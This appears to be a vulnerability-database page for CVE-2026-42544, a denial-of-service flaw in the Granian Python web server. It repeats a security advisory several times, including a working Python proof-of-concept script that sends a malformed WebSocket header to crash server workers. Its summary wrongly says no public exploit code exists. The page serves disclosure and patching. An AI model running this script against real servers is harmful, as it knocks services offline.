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CVE-2026-42544

Granian: Unauthenticated DoS via WebSocket subprotocol header panic

7.5 HighFix available

Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.39%Up 0.3 points since May 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

Granian: Unauthenticated DoS via WebSocket subprotocol header panic

Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.

Record
CVE-2026-42544
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-20, CWE-248, CWE-400
Updated
2026-11-02
EUVDEUVD-2026-29855 7.5

Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.

Record
EUVD-2026-29855
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-vrg7-482j-p6f6 7.5

Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue
Record
GHSA-vrg7-482j-p6f6
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-20, CWE-248, CWE-400
Updated
2026-11-02
NVD 7.5

Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.

Record
CVE-2026-42544
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-20, CWE-248, CWE-400
Updated
2026-11-02
OSV 7.5

Granian: Unauthenticated DoS via WebSocket subprotocol header panic

Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.

Record
CVE-2026-42544
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-20, CWE-248, CWE-400
Updated
2026-11-02
OSVGHSA-vrg7-482j-p6f6 7.5

Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue
Record
GHSA-vrg7-482j-p6f6
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-20, CWE-248, CWE-400
Updated
2026-11-02
OSVPYSEC-2026-2503 7.5

Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue
Record
PYSEC-2026-2503
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
granian
PyPI
 1.2.0 up to 2.7.4
2.7.4
granian
PyPI
 1.2.0 up to 2.7.4, plus listed versions
1.2.31.3.21.4.41.5.21.6.4
Show 35 moreShow less
1.7.62.0.02.0.12.1.02.1.12.1.22.2.02.2.12.2.22.2.32.2.42.2.52.2.62.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.5.02.5.12.5.22.5.32.5.42.5.52.5.62.5.72.6.02.6.12.7.02.7.12.7.22.7.3
2.7.4
granian
PyPI
 1.2.0 up to 2.7.4, plus listed versions
1.2.31.3.01.3.11.3.21.4.0
Show 45 moreShow less
1.4.11.4.21.4.31.4.41.5.01.5.11.5.21.6.01.6.11.6.21.6.31.6.41.7.01.7.11.7.21.7.31.7.41.7.51.7.62.0.02.0.12.1.02.1.12.1.22.2.02.2.12.2.22.2.32.2.42.2.52.2.62.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.5.02.5.12.5.22.5.32.5.42.5.5
2.7.4

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-42544 is a high vulnerability (CVSS 7.5) in Emmett-framework Granian, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in granian 2.7.4.

References

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Left out here: 8 versions. The JSON record has them.

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